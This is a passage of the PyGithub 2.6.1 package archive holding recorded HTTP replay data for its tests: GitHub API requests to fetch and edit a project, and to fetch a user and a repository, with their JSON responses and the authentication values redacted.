mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Project1434.testEditWithAllParameters.txt0000644000175100001660000001265414756101563025746 0ustar00runnerdockerhttps GET api.github.com None /projects/4101939 {'Accept': 'application/vnd.github.inertia-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Thu, 12 Mar 2020 16:11:56 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4961'), ('X-RateLimit-Reset', '1584031338'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"15b50e458129df7d6a9dffb0d6051e4f"'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'A76B:7E8B:8F000:BC0AB:5E6A5F4C')] {"owner_url":"https://api.github.com/users/ahhda","url":"https://api.github.com/projects/4101939","html_url":"https://github.com/users/ahhda/projects/6","columns_url":"https://api.github.com/projects/4101939/columns","id":4101939,"node_id":"MDc6UHJvamVjdDQxMDE5Mzk=","name":"New Name","body":"New Body","number":6,"state":"open","creator":{"login":"ahhda","id":7795956,"node_id":"MDQ6VXNlcjc3OTU5NTY=","avatar_url":"https://avatars2.githubusercontent.com/u/7795956?v=4","gravatar_id":"","url":"https://api.github.com/users/ahhda","html_url":"https://github.com/ahhda","followers_url":"https://api.github.com/users/ahhda/followers","following_url":"https://api.github.com/users/ahhda/following{/other_user}","gists_url":"https://api.github.com/users/ahhda/gists{/gist_id}","starred_url":"https://api.github.com/users/ahhda/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ahhda/subscriptions","organizations_url":"https://api.github.com/users/ahhda/orgs","repos_url":"https://api.github.com/users/ahhda/repos","events_url":"https://api.github.com/users/ahhda/events{/privacy}","received_events_url":"https://api.github.com/users/ahhda/received_events","type":"User","site_admin":false},"created_at":"2020-03-12T15:45:23Z","updated_at":"2020-03-12T16:06:40Z"} https PATCH api.github.com None /projects/4101939 {'Accept': 'application/vnd.github.inertia-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"name": "New Name", "body": "New Body", "state": "open"} 200 [('Date', 'Thu, 12 Mar 2020 16:11:56 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4960'), ('X-RateLimit-Reset', '1584031337'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"15b50e458129df7d6a9dffb0d6051e4f"'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E8F1:6037:2408A:334D9:5E6A5F4C')] {"owner_url":"https://api.github.com/users/ahhda","url":"https://api.github.com/projects/4101939","html_url":"https://github.com/users/ahhda/projects/6","columns_url":"https://api.github.com/projects/4101939/columns","id":4101939,"node_id":"MDc6UHJvamVjdDQxMDE5Mzk=","name":"New Name","body":"New Body","number":6,"state":"open","creator":{"login":"ahhda","id":7795956,"node_id":"MDQ6VXNlcjc3OTU5NTY=","avatar_url":"https://avatars2.githubusercontent.com/u/7795956?v=4","gravatar_id":"","url":"https://api.github.com/users/ahhda","html_url":"https://github.com/ahhda","followers_url":"https://api.github.com/users/ahhda/followers","following_url":"https://api.github.com/users/ahhda/following{/other_user}","gists_url":"https://api.github.com/users/ahhda/gists{/gist_id}","starred_url":"https://api.github.com/users/ahhda/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ahhda/subscriptions","organizations_url":"https://api.github.com/users/ahhda/orgs","repos_url":"https://api.github.com/users/ahhda/repos","events_url":"https://api.github.com/users/ahhda/events{/privacy}","received_events_url":"https://api.github.com/users/ahhda/received_events","type":"User","site_admin":false},"created_at":"2020-03-12T15:45:23Z","updated_at":"2020-03-12T16:06:40Z"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Project1434.testEditWithoutParameters.txt0000644000175100001660000001257114756101563026043 0ustar00runnerdockerhttps GET api.github.com None /projects/4101939 {'Accept': 'application/vnd.github.inertia-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Thu, 12 Mar 2020 16:11:50 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4963'), ('X-RateLimit-Reset', '1584031337'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"15b50e458129df7d6a9dffb0d6051e4f"'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '9EB0:0E77:20C744:2A78FA:5E6A5F46')] {"owner_url":"https://api.github.com/users/ahhda","url":"https://api.github.com/projects/4101939","html_url":"https://github.com/users/ahhda/projects/6","columns_url":"https://api.github.com/projects/4101939/columns","id":4101939,"node_id":"MDc6UHJvamVjdDQxMDE5Mzk=","name":"New Name","body":"New Body","number":6,"state":"open","creator":{"login":"ahhda","id":7795956,"node_id":"MDQ6VXNlcjc3OTU5NTY=","avatar_url":"https://avatars2.githubusercontent.com/u/7795956?v=4","gravatar_id":"","url":"https://api.github.com/users/ahhda","html_url":"https://github.com/ahhda","followers_url":"https://api.github.com/users/ahhda/followers","following_url":"https://api.github.com/users/ahhda/following{/other_user}","gists_url":"https://api.github.com/users/ahhda/gists{/gist_id}","starred_url":"https://api.github.com/users/ahhda/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ahhda/subscriptions","organizations_url":"https://api.github.com/users/ahhda/orgs","repos_url":"https://api.github.com/users/ahhda/repos","events_url":"https://api.github.com/users/ahhda/events{/privacy}","received_events_url":"https://api.github.com/users/ahhda/received_events","type":"User","site_admin":false},"created_at":"2020-03-12T15:45:23Z","updated_at":"2020-03-12T16:06:40Z"} https PATCH api.github.com None /projects/4101939 {'Accept': 'application/vnd.github.inertia-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {} 200 [('Date', 'Thu, 12 Mar 2020 16:11:51 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4962'), ('X-RateLimit-Reset', '1584031338'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"15b50e458129df7d6a9dffb0d6051e4f"'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '81E6:7E8A:20A86C:2A8E58:5E6A5F47')] {"owner_url":"https://api.github.com/users/ahhda","url":"https://api.github.com/projects/4101939","html_url":"https://github.com/users/ahhda/projects/6","columns_url":"https://api.github.com/projects/4101939/columns","id":4101939,"node_id":"MDc6UHJvamVjdDQxMDE5Mzk=","name":"New Name","body":"New Body","number":6,"state":"open","creator":{"login":"ahhda","id":7795956,"node_id":"MDQ6VXNlcjc3OTU5NTY=","avatar_url":"https://avatars2.githubusercontent.com/u/7795956?v=4","gravatar_id":"","url":"https://api.github.com/users/ahhda","html_url":"https://github.com/ahhda","followers_url":"https://api.github.com/users/ahhda/followers","following_url":"https://api.github.com/users/ahhda/following{/other_user}","gists_url":"https://api.github.com/users/ahhda/gists{/gist_id}","starred_url":"https://api.github.com/users/ahhda/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ahhda/subscriptions","organizations_url":"https://api.github.com/users/ahhda/orgs","repos_url":"https://api.github.com/users/ahhda/repos","events_url":"https://api.github.com/users/ahhda/events{/privacy}","received_events_url":"https://api.github.com/users/ahhda/received_events","type":"User","site_admin":false},"created_at":"2020-03-12T15:45:23Z","updated_at":"2020-03-12T16:06:40Z"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/ProjectCard.setUp.txt0000644000175100001660000010366614756101563022232 0ustar00runnerdockerhttps GET api.github.com None /user {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Mon, 13 Aug 2018 20:46:31 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4992'), ('X-RateLimit-Reset', '1534195928'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('ETag', 'W/"a7b881032dc3372f0757ab8399ffce75"'), ('Last-Modified', 'Fri, 27 Jul 2018 17:52:16 GMT'), ('X-OAuth-Scopes', 'read:org, read:user, repo, user:email'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-Runtime-rack', '0.038446'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'ED45:528D:FD186:146DB5:5B71EE27')] {"login":"bbi-yggy","id":6392037,"node_id":"MDQ6VXNlcjYzOTIwMzc=","avatar_url":"https://avatars3.githubusercontent.com/u/6392037?v=4","gravatar_id":"","url":"https://api.github.com/users/bbi-yggy","html_url":"https://github.com/bbi-yggy","followers_url":"https://api.github.com/users/bbi-yggy/followers","following_url":"https://api.github.com/users/bbi-yggy/following{/other_user}","gists_url":"https://api.github.com/users/bbi-yggy/gists{/gist_id}","starred_url":"https://api.github.com/users/bbi-yggy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bbi-yggy/subscriptions","organizations_url":"https://api.github.com/users/bbi-yggy/orgs","repos_url":"https://api.github.com/users/bbi-yggy/repos","events_url":"https://api.github.com/users/bbi-yggy/events{/privacy}","received_events_url":"https://api.github.com/users/bbi-yggy/received_events","type":"User","site_admin":false,"name":"Yossarian King","company":"Blackbird Interactive","blog":"","location":"Vancouver, Canada","email":null,"hireable":null,"bio":null,"public_repos":3,"public_gists":2,"followers":3,"following":1,"created_at":"2014-01-13T18:03:47Z","updated_at":"2018-07-27T17:52:16Z","private_gists":3,"total_private_repos":0,"owned_private_repos":0,"disk_usage":0,"collaborators":0,"two_factor_authentication":true,"plan":{"name":"free","space":976562499,"collaborators":0,"private_repos":0}} https GET api.github.com None /repos/bbi-yggy/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Mon, 13 Aug 2018 20:46:31 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4991'), ('X-RateLimit-Reset', '1534195928'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('ETag', 'W/"1a4d58b0c31a5e69747b7ad48d7a91ee"'), ('Last-Modified', 'Wed, 01 Aug 2018 05:11:35 GMT'), ('X-OAuth-Scopes', 'read:org, read:user, repo, user:email'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-Runtime-rack', '0.077165'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'ED5B:528C:C8555:10426C:5B71EE27')] {"id":143089995,"node_id":"MDEwOlJlcG9zaXRvcnkxNDMwODk5OTU=","name":"PyGithub","full_name":"bbi-yggy/PyGithub","owner":{"login":"bbi-yggy","id":6392037,"node_id":"MDQ6VXNlcjYzOTIwMzc=","avatar_url":"https://avatars3.githubusercontent.com/u/6392037?v=4","gravatar_id":"","url":"https://api.github.com/users/bbi-yggy","html_url":"https://github.com/bbi-yggy","followers_url":"https://api.github.com/users/bbi-yggy/followers","following_url":"https://api.github.com/users/bbi-yggy/following{/other_user}","gists_url":"https://api.github.com/users/bbi-yggy/gists{/gist_id}","starred_url":"https://api.github.com/users/bbi-yggy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bbi-yggy/subscriptions","organizations_url":"https://api.github.com/users/bbi-yggy/orgs","repos_url":"https://api.github.com/users/bbi-yggy/repos","events_url":"https://api.github.com/users/bbi-yggy/events{/privacy}","received_events_url":"https://api.github.com/users/bbi-yggy/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/bbi-yggy/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/bbi-yggy/PyGithub","forks_url":"https://api.github.com/repos/bbi-yggy/PyGithub/forks","keys_url":"https://api.github.com/repos/bbi-yggy/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/bbi-yggy/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/bbi-yggy/PyGithub/teams","hooks_url":"https://api.github.com/repos/bbi-yggy/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/bbi-yggy/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/bbi-yggy/PyGithub/events","assignees_url":"https://api.github.com/repos/bbi-yggy/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/bbi-yggy/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/bbi-yggy/PyGithub/tags","blobs_url":"https://api.github.com/repos/bbi-yggy/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/bbi-yggy/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/bbi-yggy/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/bbi-yggy/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/bbi-yggy/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/bbi-yggy/PyGithub/languages","stargazers_url":"https://api.github.com/repos/bbi-yggy/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/bbi-yggy/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/bbi-yggy/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/bbi-yggy/PyGithub/subscription","commits_url":"https://api.github.com/repos/bbi-yggy/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/bbi-yggy/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/bbi-yggy/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/bbi-yggy/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/bbi-yggy/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/bbi-yggy/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/bbi-yggy/PyGithub/merges","archive_url":"https://api.github.com/repos/bbi-yggy/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/bbi-yggy/PyGithub/downloads","issues_url":"https://api.github.com/repos/bbi-yggy/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/bbi-yggy/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/bbi-yggy/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/bbi-yggy/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/bbi-yggy/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/bbi-yggy/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/bbi-yggy/PyGithub/deployments","created_at":"2018-08-01T01:50:10Z","updated_at":"2018-08-01T05:11:35Z","pushed_at":"2018-08-13T19:19:24Z","git_url":"git://github.com/bbi-yggy/PyGithub.git","ssh_url":"git@github.com:bbi-yggy/PyGithub.git","clone_url":"https://github.com/bbi-yggy/PyGithub.git","svn_url":"https://github.com/bbi-yggy/PyGithub","homepage":"http://pygithub.readthedocs.io/","size":11292,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"open_issues_count":1,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":0,"open_issues":1,"watchers":0,"default_branch":"master","permissions":{"admin":true,"push":true,"pull":true},"allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"parent":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2018-08-13T19:07:20Z","pushed_at":"2018-08-13T19:19:26Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"http://pygithub.readthedocs.io/","size":11205,"stargazers_count":1976,"watchers_count":1976,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":691,"mirror_url":null,"archived":false,"open_issues_count":103,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":691,"open_issues":103,"watchers":1976,"default_branch":"master"},"source":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2018-08-13T19:07:20Z","pushed_at":"2018-08-13T19:19:26Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"http://pygithub.readthedocs.io/","size":11205,"stargazers_count":1976,"watchers_count":1976,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki"